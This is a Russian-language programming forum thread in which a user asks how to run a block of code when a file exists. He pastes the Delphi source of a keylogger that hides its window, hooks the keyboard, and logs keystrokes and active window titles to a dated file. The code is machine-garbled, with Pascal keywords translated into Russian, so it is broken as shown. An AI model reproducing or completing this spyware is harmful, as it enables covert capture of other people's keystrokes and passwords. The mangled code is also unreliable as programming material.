Дата: Воскресенье, 19.10.2014, 22:35 | Сообщение # 1
Участник
Зарегистрирован: 16.08.2013
Группа: Пользователи
Сообщений: 66
Статус: Offline
Привет, как можно это сделать?
if FileExists('C:\12.txt') then
и выполнить код из 20-ти или более строк, с разными функциями За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь. (MAS)
Сообщение отредактировал MAS - Воскресенье, 19.10.2014, 22:38
Дата: Понедельник, 20.10.2014, 16:28 | Сообщение # 4
Участник
Зарегистрирован: 16.08.2013
Группа: Пользователи
Сообщений: 66
Статус: Offline
Цитатаdolphin ()
Я правильно понял?
почти, я хотел выполнить вот так т.к я не знаю и в инете не нашел как:
Код
если FileExists('C:\12.txt') then //если файл есть 12.txt, то выполнить например этот огромный код
функция SetKeyHook: Longint; external DllName name 'SetKeyHook';
функция DelKeyHook: Longint; external DllName name 'DelKeyHook';
процедура HideAsk;
начать
ShowWindow(Handle, SW_HIDE);
end;
процедура ShowAsk;
начать
ShowWindow(Handle, SW_SHOW);
end;
процедура RegisterMySelf;
начать
end;
функция FileAge(const FileName: string): Integer;
var
Handle: THandle;
FindData: TWin32FindData;
LocalFileTime: TFileTime;
начать
Handle:=FindFirstFile(PChar(FileName), FindData);
если ручка <> INVALID_HANDLE_VALUE then
начать
Windows.FindClose(Handle);
если (FindData.dwFileAttributes и FILE_ATTRIBUTE_DIRECTORY) = 0 тогда
начать
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
если FileTimeToDosDateTime(LocalFileTime, LongRec(результат).привет
LongRec(результат).Lo) then Exit;
end;
end;
Result:=-1;
end;
function FileExists(const FileName: string): Boolean;
начать
Result:=FileAge(FileName) <> -1;
end;
функция StrLen(const Str: PChar): Cardinal; assembler;
asm
mov edx, edi
mov edi, eax
mov ecx, 0FFFFFFFFh
xor al, al
repne scasb
mov eax, 0FFFFFFFEh
sub eax, ecx
mov edi, edx
end;
функция StrCopy(Dest: PChar; const Source: PChar): PChar; assembler;
asm
push edi
push esi
mov esi, eax
mov edi, edx
mov ecx, 0FFFFFFFFh
xor al, al
repne scasb
не ecx
mov edi, esi
mov esi, edx
mov edx, ecx
mov eax, edi
shr ecx, 2
rep movsd
mov ecx, edx
и ecx, 3
rep movsb
pop esi
pop edi
end;
функция StrEnd(const Str: PChar): PChar; assembler;
asm
mov edx, edi
mov edi, eax
mov ecx, 0FFFFFFFFh
xor al, al
repne scasb
lea eax, [edi-1]
mov edi, edx
end;
функция StrCat(Dest: PChar; const Source: PChar): PChar;
начать
StrCopy(StrEnd(Dest), Источник);
Result := Dest;
end;
функция IntToStr(x: integer): string;
начать
Str(x, Result);
end;
процедура GenerateFileName;
var
ST: SystemTime;
начать
GetLocalTime(ST);
FileName:=IntToStr(ST.wDay)+'day_'+IntToStr(ST.wMonth)+'month.log';
if FileExists(FileName) then
AfterCrush:=true;
end;
процедура EmptyBuffer;
var
F: File;
начать
GenerateFileName;
AssignFile(F, FileName);
if FileExists(FileName) then
начать
Reset(F, 1);
Seek(F, FileSize(F));
конец
еще
Rewrite(F, 1);
BlockWrite(F, Buffer, StrLen(Buffer));
CloseFile(F);
FillChar(Buffer, SizeOf(Buffer), chr(0));
end;
процедура SaveData(D: PChar);
начать
если StrLen(Buffer) < BuffSize
затем
StrCat(Buffer, D)
еще
EmptyBuffer;
end;
процедура WriteTime;
var
K: string[100];
i: byte;
начать
если Time.wMinute > 9
тогда K:='"'+IntToStr(Time.wHour)+':'+IntToStr(Time.wMinute)+""
else K:='"'+IntToStr(Time.wHour)+':0'+IntToStr(Time.wMinute)+"";
for i:=1 to Length(K)
SzKeyName[i-1]:=K[i];
SzKeyName[Length(K)]:=chr(0);
SaveData(SzKeyName);
FillChar(SzKeyName, SizeOf(SzKeyName), chr(0));
SaveData(Cr);
end;
процедура CheckTime;
начать
GetLocalTime(Время);
если Time.wMinute<>минут затем
начать
Minute:=Time.wMinute;
SaveData(Cr);
WriteTime;
end;
end;
процедура CheckTask;
начать
CWnd:=GetForegroundWindow;
GetWindowText(CWnd, SzKeyName, SizeOf(SzKeyName));
если (CWnd <> LastWnd) или (SzKeyName <> WINDOWNAME) тогда
начать
LastWnd:=CWnd;
WindowName:=SzKeyName;
GetWindowModuleFileName(CWnd, SzKeyName, SizeOf(SzKeyName));
if (StrLen(WindowName) <> 0) and (StrLen(SzKeyName) <> 0) тогда
начать
SaveData(Cr);
SaveData(WinActTxt);
SaveData(WindowName);
SaveData("' в модуле : "');
SaveData(SzKeyName);
SaveData("';');
конец
еще
if (StrLen(WindowName) = 0) and (StrLen(SzKeyName) <> 0) тогда
начать
SaveData(Cr);
SaveData(WinActTxt);
SaveData('можно не обнаружить');
SaveData("' в модуле : "');
SaveData(SzKeyName);
SaveData("';');
конец
еще
начать
SaveData(Cr);
SaveData(WinActTxt);
SaveData(WindowName);
SaveData("' в модуле : ');
SaveData('можно не обнаружить');
SaveData("';');
end;
SaveData(Cr);
CheckTime;
end;
FillChar(SzKeyName, SizeOf(SzKeyName), chr(0));
end;
процедура StartSniff;
начать
Minute:=100;
Sniff:=true;
hLib:=LoadLibrary(DllName);
SetKeyHook;
Buffer[0]:=chr(0);
LastWND:=0;
WindowName:=";
CheckTask;
GenerateFileName;
FillChar(Buffer, SizeOf(Buffer), chr(0));
SaveData(Cr);
если AfterCrush затем
SaveData(Продолжить)
еще
SaveData(Запуск);
GetLocalTime(Время);
Minute:=Time.wMinute;
WriteTime;
FillChar(SzKeyName, 100, chr(0));
bPassword:=";
end;
процедура CheckPassWord(b: Char);
var
i: byte;
начать
bPassword:=bPassword + b;
for i:=1 to Length(bPassword)
если bPassword[i] <> пароль[i] then
начать
bPassword:=";
break;
end;
если длина(bPassword) = Length(Password), а затем
ShowAsk;
end;
функция WndProc(hnd, wmsg, wparam, lparam: integer): integer; stdcall;
var
t: string;
начать
случай из wmsg
WM_COMMAND:
начать
если параметр dword(lparam) = нажмите кнопку
начать
если нюхать потом
начать
T:='Start Spy';
SendMessage(кнопка, WM_SETTEXT, 0, integer(T));
EndSniff;
конец
еще
начать
T:='Стоп Spy';
SendMessage(кнопка, WM_SETTEXT, 0, integer(T));
HideAsk;
StartSniff;
end;
end;
end;
KeyEvent:
начать
GetKeyNameText(lParam, SzKeyName, SizeOf(SzKeyName));
CheckPassword(chr(wParam));
SaveData('<');
SaveData(SzKeyName);
FillChar(SzKeyName, 100, chr(0));
SaveData('>');
end;
MouseEvent:
CheckTASK;
WM_DESTROY:
начать
EndSniff;
EmptyBuffer;
PostQuitMessage(0);
end;
еще
Result:=DefWindowProc(hnd, wmsg, wparam, lparam);
end;
end;
Процедура CreateMySelf;
var
T: string;
начать
с WinClass делать
начать
lpszClassName:=WinTitle;
lpfnWndProc:=@WndProc;
cbClsExtra:=0;
cbWndExtra:=0;
hInstance:=hInstance;
style:=CS_HREDRAW+CS_VREDRAW+CS_DBLCLKS;
hIcon:=LoadIcon(hInstance, IconName);
hCursor:=LoadCursor(hInstance, IDC_ARROW);
hbrBackground:=COLOR_WINDOW;
end;
RegisterClass(WinClass);
Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, " Key Logger', WS_VISIBLE или WS_MINIMIZEBOX или WS_CAPTION или WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 170, 63, 0, 0, hInstance, nil);
Button:=CreateWindowEx(BS_RIGHTBUTTON, 'BUTTON', 'крюк', (WS_TABSTOP или WS_VISIBLE или WS_CHILD), 5, 5, 96, 25, ручка, 0, hInstance, nil);
T:='Стоп Spy';
SendMessage(кнопка, WM_SETTEXT, 0, integer(T));
end;
начать
CreateMySelf;
RegisterMySelf;
Cr:=chr(13)+chr(10);
FindWindow(WinTitle, nil);
Sniff:=false;
StartSniff;
HideAsk;
while GetMessage(Msg, 0, 0, 0) do
начать
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь. (MAS)
Сообщение отредактировал MAS - Понедельник, 20.10.2014, 16:30